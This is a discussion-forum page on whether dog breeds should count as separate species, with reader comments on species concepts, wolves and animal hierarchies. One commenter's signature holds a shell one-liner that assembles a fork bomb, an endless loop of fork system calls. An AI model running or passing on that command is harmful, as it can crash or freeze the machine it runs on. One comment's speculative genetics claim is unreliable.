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Should We Just Call Dog Breeds a Different Species?

Jamie found an amusing bit this morning on Scientific American where the author proposes that dog breeds are different species. Now some of you might recoil when you hear this suggestion, but if you read the article to see why he makes this suggestion I suspect you'll crack a smile and appreciate the elegance of the solution.

8 of 497 comments (clear)

  1. No, but... by Bruce+McBruce · · Score: 4, Interesting

    I just knew this article would include some comparison of Chihuahuas to some breed of large dog (in this case, Mastiffs). So I'm going to go ahead and make a similar comparison of a 600-pound caucasian female to a 110-pound asian male. The male may have just as much trouble with the process as does the Chihuahua, but we'll still call the result be a human. Similarly, we'll call the spawn of a Chihuahua and a Mastiff a dog. Because it looks like a dog and it barks.

  2. Re:Dogism by drinkypoo · · Score: 4, Interesting

    Birds are racist. Conure flocks will exclude similar animals whose only real difference is a different-colored head.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  3. Re:Dogism by Hal_Porter · · Score: 5, Interesting

    Social hierarchies in animals are just as dysfunctional as they are in humans. I saw some documentary where one of the younger dominant females kept taking food out of the mouth of one of the subordinates ones. It wasn't that she was particularly hungry because she got priority access to the best food. As far as anyone could tell she was doing because her status let her get away with it.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  4. Re:Dogism by Retron · · Score: 5, Interesting

    You know what's funny? Dogs know dogs

    What's even funnier is that dogs know wolves.

    I'm lucky enough to volunteer at a wolf centre in southern England. At this time of year they're moulting like crazy and it's easy to pull of clumps of underfur from them.

    The fun starts if you give some to a dog owner and ask them to show it to their dogs.

    The last time I did that it made my friend's 4 dogs go nuts - one went very wide-eyed, another tried clambering over the guy to get it and the third begged for some. I've seen other reactions including frenzied barking and fear from other dogs.

    So it seems that despite most dogs never getting to see a wolf (at least here in the UK, we shot our last wolf in the late 1700s), they still know full well what one is.

    As an aside, dogs are amazingly different from wolves despite being 99.8% the same DNA wise. Only one season a year and permanent puppyhood - domestic dogs don't become adults, we've bred that out of them somehow. Wolves, on the other hand, change noticeably around 3 years of age. Dogs are also much, much better at picking up signals from people - and unlike wolves, they're always eager to please if bought up properly. A wolf'll only do something if it feels like it, or if it'll get something out of it!

    And an amusing anecdote to finish - we used to take our wolves out to county shows, as they're socialied and enjoyed meeting people. One morning at the Kent show we let the wolves into their mobile enclosure and they watched intently as some Rottweilers came over, along with their (big-mouthed) owners. The blokes were going on about how their dogs could "have" our wolves easily, yet both dogs cowered away when Duma, one of our soppier wolves with people, casually gazed at them, raised her lip soundlessly, showing impressive fangs. Those Rottweilers knew better than to come any closer, much to the chagrin of their owners!

  5. Re:Dogism by Bertie · · Score: 4, Interesting

    I've no proof whatsoever, but to me it seems to happen in humans. When I think of people I know, the ones with diverse ethnic backgrounds are invariably taller than either of their parents and very often good-looking. Presumably this is because something like height is coded for on many different parts of the genome. And so if your father's small because of recessive gene a, and your mother's small because of recessive gene z, and you get a dominant A from your mother and a dominant Z from your father, then that's two fewer genes putting a ceiling on your height.

    Yes, I know this is trivialising an incredibly complicated issue, so hopefully somebody with more of a clue than me can weigh in with the knowledge here.

  6. Re:Dogism by drinkypoo · · Score: 4, Interesting

    In fact you have it correctly; human brains are physically oriented towards sight while a dog's is oriented towards smell. They also have an organ for the detection of sex pheromones. Their ability to focus is less developed than ours, though they have far superior night vision. They have much less depth perception than humans due to the position of their eyes, but have much a much more directional sense of smell due to the design of their nose.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  7. TFA is far too bold by MaXintosh · · Score: 4, Interesting

    TFA is laughably naÃve. They should be a different species? Oh, if only species were so cut and dry. People talk about species as if we're talking about the same thing, but the `distance` between polar bears and brown bears - considered different species - isn't as great as that between Reindeer and Caribou - considered the same species.

    The dirty little secret of biology - and I'm going to get kicked out of the biologist club for this - is that we've got no ****ing clue what a species is. Oh, sure, we go around naming them all the time, but we don't actually know what we're doing yet. One list counts up to 23 different way to recognize species (known as species concepts). Some of these are mutually exclusive! The author seems to like the Reproductive isolation species concept. But under that concept, the mallard on the east coast is a different species from the mallard on the west coast. But when does the mallard cease to be east and west? What about all those ducks in between? While there's no doubt that the east coast and west coast are functionally isolated, the point at which that ceases to be is very hazy.

    What about montane species? I'm thinking of Dall sheep, in particular. Geneflow (interbreeding) between sheep of non-ajoining mountain ranges is incredibly low, effectively zero. But I don't know anyone who'd make the argument that they're separate species.

    So then maybe the author wants to argue that they're separate morphotypes, and should be species on that account. What about isopods, where they have a greater diversity of form within species. Let's face it, every dog looks vaguely dog-ish. The same can't be said for some isopods, or species of insects!

    The truth is what is, and isn't, a species is currently nebulous, fuzzy, and wishy-washy. It may be that species, as an idea, don't exist. That wouldn't surprise me.

  8. Re:Dogism by debrisslider · · Score: 4, Interesting
    Uncivilized, perhaps, but prisons can in no way be considered 'the wild.' Of all dysfunctional social constructs, prison systems are probably the most extreme. I'm not sure how 'natural' the banding together is; it could very well be an intentional de facto method of control, a somewhat self-regulating means of keeping an overall increase of violent behavior in check through both an internal policing of segregated groups through gang hierarchy and a means of directing violence along predictable fault lines, rather than a large amount of individual skirmishes. If the prison system didn't want these groups to exist, then they could get rid of them. Or, if it is determined to be too costly to change the status quo, then you must still admit that it is an artificial environment that is creating these conditions and hence these groupings can hardly be considered a 'natural state' akin to wolves in the wild.

    In any case, these groupings are more than skin deep; it is cultural similarities that tie them together more than the color of their skin, in many cases the culture being a preexisting condition through generations of gang hierarchy that extends from the streets to the prisons and vice-versa. Racial grouping in prisons is much more complex than simply being visually identified as a member of a race, though I'll grant the moot point that color is the most obvious indicator of the index of cultural, historical, and socio-economic similarities.